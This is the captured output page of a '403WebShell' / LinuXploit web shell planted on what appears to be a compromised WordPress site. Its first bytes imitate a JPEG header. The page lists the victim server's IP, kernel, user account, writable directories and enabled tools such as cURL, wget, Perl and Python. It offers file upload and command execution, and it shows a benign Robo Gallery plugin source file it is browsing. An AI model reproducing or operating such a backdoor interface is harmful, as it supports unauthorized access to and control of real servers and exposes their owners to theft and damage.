????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.48.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tempvsty/pontiacques.org/wp-content/plugins/robo-gallery/app/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tempvsty/pontiacques.org/wp-content/plugins/robo-gallery/app/class.listing.php
<?php 
/* 
*      Robo Gallery     
*      Version: 5.0.0 - 91909
*      By Robosoft
*
*      Contact: https://robogallery.co/ 
*      Created: 2025
*      Licensed under the GPLv3 license - http://www.gnu.org/licenses/gpl-3.0.html
 */

if ( ! defined( 'WPINC' ) ) exit;


class rbsGalleryListing extends roboGalleryClass{

    protected $postType;

    protected $title;

    public $view;

    /*  ==============   */
    public function __construct(){ 
    	if( rbs_gallery_get_current_post_type() != ROBO_GALLERY_TYPE_POST ) return ;
    	parent::__construct();
    	$this->postType = ROBO_GALLERY_TYPE_POST;
    	//$this->view = new rbsGalleryClassView( $this->path.'templates/' );
    }

    public function hooks(){
    	global $page;
    	add_action( 'init', array($this, 'init') );

    	add_action( 'manage_'.ROBO_GALLERY_TYPE_POST.'_posts_custom_column', array($this, 'custom_columns'), 10, 2 );
    	add_filter( 'manage_'.ROBO_GALLERY_TYPE_POST.'_posts_columns',  array($this, 'custom_header'));

    	if(  rbs_gallery_is_edit_page('list') ){
    		/*if( isset($_GET['showproinfo']) && $_GET['showproinfo'] && !ROBO_GALLERY_PRO ){  
	    		//add_action('admin_print_styles-' . $page, array($this, 'admin_styles'));
	    		//add_action('in_admin_header', array($this, 'show_info') );
	    	}*/
    		add_action( 'in_admin_header', array($this, 'assets') );
    	}
    }

    public function assets (){		
		wp_enqueue_script('robo-gallery-lising-js', ROBO_GALLERY_URL.'js/admin/listing.js', array( 'jquery' ), ROBO_GALLERY_VERSION, true ); 
		wp_enqueue_style ('robo-gallery-lising-css', ROBO_GALLERY_URL.'css/admin/list.css', array( ), ROBO_GALLERY_VERSION );
		
		/* remove extra content from OUR PLUGIN settings section */
		$css_inline = '#wpbody .fs-notice,#wpbody .fs-sticky,#wpbody .fs-has-title,#wpbody .wd-admin-notice,#wpbody .ngg_admin_notice{ display: none !important;}';
		wp_add_inline_style('robo-gallery-lising-css', $css_inline);
	}

    public function custom_header($columns) { 
		return array_merge(
				$columns, 
				array( 
					'rbs_gallery_views' => __('Views','robo-gallery'), 
					'rbs_gallery' 		=> __('Shortcode' ,'robo-gallery') 
				)
		); 
	}

    public function  custom_columns( $column, $post_id ) {
	    switch ( $column ) {
			case 'rbs_gallery' :
				global $post;
				//$slug = '' ; $slug = $post->post_name;
		        $shortcode = '
				<input readonly="readonly" size="23" value="[robo-gallery id='.$post_id.']" class="robo-gallery-shortcode" type="text" />';
			    echo $shortcode; 
			    break;

			case 'rbs_gallery_views' :
				global $post;
		        echo (int) get_post_meta( $post->ID, 'gallery_views_count', true);
			    break;
	    }
	}


    public function show_info(){
    	wp_enqueue_style("wp-jquery-ui-dialog");
		wp_enqueue_script('jquery-ui-dialog');

		wp_enqueue_script('robo-gallery-info', ROBO_GALLERY_URL.'js/admin/info.js', array( 'jquery' ), ROBO_GALLERY_VERSION, true ); 
		wp_enqueue_style ('robo-gallery-info', ROBO_GALLERY_URL.'css/admin/info.css', array( ), '' );
		
		echo '<div id="rbs_showInformation" '
					.'style="display: none;" '
					.'data-open="1" '
					.'data-title="'.__('Get Robo Gallery Pro version', 'robo-gallery').'" '
					.'data-close="'.__('Close').'" '
					.'data-info="'.__('Get Pro version', 'robo-gallery').'"'
				.'>'
				.__('You can create only 3 galleries. Update to PRO to get unlimited galleries', 'robo-gallery')
			.'</div>';
    }
}

new rbsGalleryListing();


/*add_action( 'load-edit.php', function() {
  add_filter( 'views_edit-'.ROBO_GALLERY_TYPE_POST, 'robo_gallery_listing_tabs' ); 
});

function robo_gallery_listing_tabs() {
 echo '
 <br/>
  <h2 class="nav-tab-wrapper">
    <a class="nav-tab" href="admin.php?page=gallery">Gallery</a>
    <a class="nav-tab nav-tab-active" href="edit.php?post_type=statistics">Statistics</a>
    <a class="nav-tab" href="edit.php?post_type=backup">Backup</a>
  </h2><br/>
 ';
}*/

Youez - 2016 - github.com/yon3zu
LinuXploit